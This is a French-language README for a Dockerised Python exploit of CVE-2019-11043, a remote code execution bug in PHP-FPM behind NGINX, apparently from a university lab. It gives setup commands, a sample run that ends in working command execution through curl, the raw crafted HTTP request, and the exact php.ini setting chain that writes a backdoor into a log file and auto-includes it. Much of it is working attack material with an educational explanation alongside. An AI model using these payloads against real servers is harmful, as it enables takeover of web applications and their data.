
Exploit Python dockérisé pour CVE-2019-11043, une vulnérabilité critique d'exécution de code à distance PHP-FPM dans les configurations NGINX. Comprend l'installation, l'utilisation et une analyse détaillée.
Une implémentation Python de l'exploit CVE-2019-11043
L'exploit enregistré sous CVE-2019-11043 exploite un bug dans l'implémentation de PHP-FPM en conjonction avec un serveur NGINX. Dans certaines configurations, une expression régulière dans le path_info FastCGI amène le module FPM à écrire au-delà des tampons alloués dans l'espace réservé aux données du protocole FastCGI. En conséquence, un utilisateur web peut être capable d'exécuter du code à distance. Le tableau suivant montre l'évaluation de la sévérité de l'exploit selon le Common Vulnerability Scoring System (CVSS).
| Métrique | Valeur |
|---|
| Score d'impact | 5.9 |
| Score de base | 9.8 |
| Sévérité | Critique |
| Vecteur d'accès | Réseau |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |
Images Docker :
Python :
Une installation de Docker et docker-compose est requise pour exécuter le projet.
En exécutant la commande suivante depuis le répertoire racine du projet, toutes les images docker nécessaires seront téléchargées et les conteneurs démarrés dans le bon ordre :
docker-compose up
Pour exécuter la configuration en mode démon, exécutez la commande suivante :
docker-compose up -d
Pour arrêter un démarrage en mode démon, exécutez la commande suivante :
docker-compose down
Exemple
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Cette vulnérabilité a été découverte lors du tour de qualification du Real World CTF 2019, lorsqu'Andrew Danau, un chercheur en sécurité, a découvert que l'envoi d'un caractère de contrôle de nouvelle ligne %0A entraîne une exception dans le code du serveur.
L'expression régulière dans la directive fastcgi_split_path_info peut être brisée en utilisant le caractère de nouvelle ligne (sous forme encodée, %0A). L'expression régulière brisée conduit alors à un PATH_INFO vide, ce qui déclenche le bug.
Comme env_path_info est l'adresse de la variable path_info, path_info vaut 0 donc pilen aussi vaut 0. slen est la longueur de l'URL demandée.

En utilisant une longueur soigneusement choisie du chemin URL et de la chaîne de requête, un attaquant peut faire pointer path_info précisément sur le premier octet de la structure _fcgi_data_seg. Mettre zéro dedans déplace le champ char* pos vers l'arrière, et ensuite FCGI_PUTENV écrase certaines données (y compris d'autres variables fast cgi) avec le chemin du script. En utilisant cette technique, la vulnérabilité permet de créer une fausse variable FCGI PHP_VALUE, puis d'utiliser une chaîne de valeurs de configuration soigneusement choisies pour obtenir une exécution de code.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len est la longueur du chemin URL
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen est la longueur du contenu avant le premier slash dans le chemin URL
http://localhost:11043/index.php/TUD%0aNetSec.phppt est /var/www/html/index.phpLa différence entre les deux variables "len" et "ptlen" est la longueur du chemin spécifié dans l'URL. Puisque le chemin de ces deux peut être contrôlé, la variable path_info peut également être contrôlée.
Comme le chemin est contrôlable, nous pouvons définir la valeur de n'importe quelle adresse à zéro (Ligne 1222). En définissant la valeur de l'adresse ciblée à zéro, nous pouvons contrôler le char* pos de la structure _fcgi_data_seg à zéro. Par cette approche, nous exploitons un buffer underflow et sommes capables d'écrire des variables globales dans le bon espace mémoire.
Le hachage et la longueur sont comparés avant les clés. En choisissant soigneusement les bons en-têtes et clés, nous pouvons ajouter en utilisant des en-têtes. Selon les découvertes de neex, la chaîne "ebut", qui devient HTTP_EBUT, a la même longueur et la même valeur FCGI_HASH que PHP_VALUE. Ainsi, en envoyant une requête GET au serveur similaire à
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
l'en-tête HTTP_EBUT devient PHP_VALUE et la valeur session_start=1.
La liste suivante donne à l'exploiteur les prérequis nécessaires qui doivent être satisfaits pour déployer l'attaque.
Dans un premier temps, nous devons trouver une longueur de chaîne de requête pour laquelle un caractère de contrôle de nouvelle ligne %0A provoque une exception dans le code du serveur et telle que le serveur répond avec un code d'erreur HTTP > 500. Sur la base de ces informations, nous pouvons maintenant essayer d'écrire PHP_VALUE et contrôler son contenu. D'abord, nous essayons de mettre en place une session. Si cela réussit, nous avons connaissance de la vulnérabilité du serveur. À ce stade, nous savons que nous sommes capables de contrôler n'importe quelle variable globale en PHP.
En utilisant la session établie mentionnée ci-dessus vers le serveur, nous écrasons et configurons nos prérequis sur les paramètres du serveur pour permettre une exécution de code à distance. L'auteur de l'exploit met en place un tableau de paramètres php spéciaux. Il active l'inclusion automatique, définit le chemin vers /tmp, définit l'adresse du fichier journal sur /tmp/a et écrit également la charge utile dans le fichier journal. Enfin, le fichier PHP inclura automatiquement un fichier journal pour créer une porte dérobée.
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
</head>
<body>
<p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>
La chaîne d'options php.ini qui rend possible l'exécution de code à distance :
php_settings = [
"short_open_tag=1;;;;;;;", # Open short php tab
"html_errors=0;;;;;;;;;;", # Turn off HTML tag in the error message
"include_path=/tmp;;;;;;", # Include Path
"auto_prepend_file=a;;;;", # Specifies the files that are automatically included before the script executes, similar to require().
"log_errors=1;;;;;;;;;;;", # Enable error logging
"error_reporting=2;;;;;;", # Specify error level
"error_log=/tmp/a;;;;;;;", # Error logging file
"extension_dir=%22%3C%3F=%60%22;;;", # Specify the load directory for the extension
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Specify the extension to load
]
Note : Les points-virgules sont utilisés pour remplir l'espace mémoire, de sorte que PHP_VALUE\nauto_prepend_file=a;;;; devient 34 octets, ce qui correspond à la longueur fixe de PATH_INFO. Ainsi, nous nous assurons que tous les paramètres sont écrits correctement dans l'espace mémoire.
PHP fournit le cadre pour de nombreux sites web et applications web populaires. Étant donné que l'utilisation de serveurs web basés sur NGINX en combinaison avec PHP 7 est omniprésente, cette vulnérabilité a été classée comme critique. De plus, elle est relativement facile à implémenter et atteint une persistance une fois exploitée. Comme une exploitation réussie de CVE-2019-11043 pourrait conduire à une exécution de code à distance (RCE), elle peut permettre à des pirates et acteurs malveillants de prendre le contrôle d'une application web.
L'exploit doit être pris au sérieux malgré le fait que cette vulnérabilité soit limitée à des configurations NGINX spécifiques ; le Nginx par défaut n'a pas ce problème.